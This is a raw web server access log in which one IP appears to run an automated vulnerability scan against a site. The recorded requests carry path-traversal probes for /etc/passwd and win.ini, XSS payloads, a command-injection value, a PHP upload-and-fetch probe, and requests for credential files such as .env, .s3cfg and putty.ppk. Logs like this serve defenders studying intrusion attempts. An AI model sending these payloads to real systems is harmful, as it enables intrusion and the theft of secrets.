[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?login HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?action=login.index HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/sysconf?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/pubspec.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIPyCQJf21phncYs44TMqVnS.txt HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /qmailadmin/qmailadmin.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/cartabandonmentpro/uploads/aaacaac.php.png HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/kinesis/health_check HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/Database/db1.db HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/production.log HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1:110 HTTP/1.1" 226
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //forum/phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.redmine-cli HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloader.log HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/mstrWebAdmin HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en/login HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redis.conf HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.js HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmd/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.7z HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /README.md HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /roundcube/logs/sendmail HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/settings.yml HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /otobo/index.pl HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /royal_event/ HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/upload.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rollup.config.js HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/.env HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /royal_event/companyprofile.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?subreddit=news&score=2134%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.rubocop.yml HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //info.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console-selfservice/SelfService.do HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.2.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /storage.yml HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adminweb/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log.log HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/wizard.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /arsys/shared/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reportico/run.php?project=admin&execute_mode=ADMIN&clear_session=1 HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /radiusmanager/user.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /EXCU_SHELL HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|echo+4d073ffb6ad4eb1a1b4b3023edff963f+>+os1jhz.txt|cat HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /forms/doLogin HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/configuration.yml HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139:443.ppk HTTP/1.1" 199
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationVendor HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /WEB_VMS/LEVEL15/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.s3cfg HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?torrent HTTP/1.1" 3426
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/9 HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/pr.yml HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0 HTTP/1.1" 199
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ddi/server/fileupload.php?uploadDir=upload&name=jFXlrG.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //htdocs/index.php/cmd.php?cmd=template_engine&dn=%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&meth=ajax&server_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sso/UI/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download.do?file=../../../../config.text HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tool/view/phpinfo.view.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.gz HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927561536 HTTP/1.1" -
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.lz HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.rar HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927564211 HTTP/1.1" -
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1:587 HTTP/1.1" 226
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/salesforce.js HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s3cmd.ini HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robomongo.json HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loadtextfile.htm HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fileman/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/qmailadmin/qmailadmin HTTP/1.1" 199
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/database/data.db HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login/page HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /roundcube/logs/sendmail.log HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/wwwctrl.cgi?action=home HTTP/1.1" 199
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/kinesis/streams HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/systemConfig/management/os1jhz.txt HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server_import.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php/phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 199
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //a.htm HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gateway HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redmine/config/settings.yml HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fiori HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sws/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /main.ehp HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sabnzbd/wizard/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E] HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //opensso/UI/Login HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redmine/config/configuration.yml HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //administrator/components/com_joommyadmin/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?locale=en HTTP/1.1" 3426
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/hana/xs/formLogin/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?login HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /production.log HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /selfenrollment/Enrollment.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SASLogon/login HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lib/crud/userprocess.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ddi/server/upload/jFXlrG.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/9 HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /(download)/tmp/poc.txt HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql/finland HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rsso/admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/systemutil?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /smb.conf HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tool/log/c.php?strip_slashes=system&host=ipconfig HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /devel/iface/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/wdisp/admin/public/default.html HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /(download)/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sws/app/gnb/login/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/putty.ppk HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.js HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json?FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /irj/go/km/navigation/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /report/download.php?pdf=../../../../../etc/passwd HTTP/1.1" 196
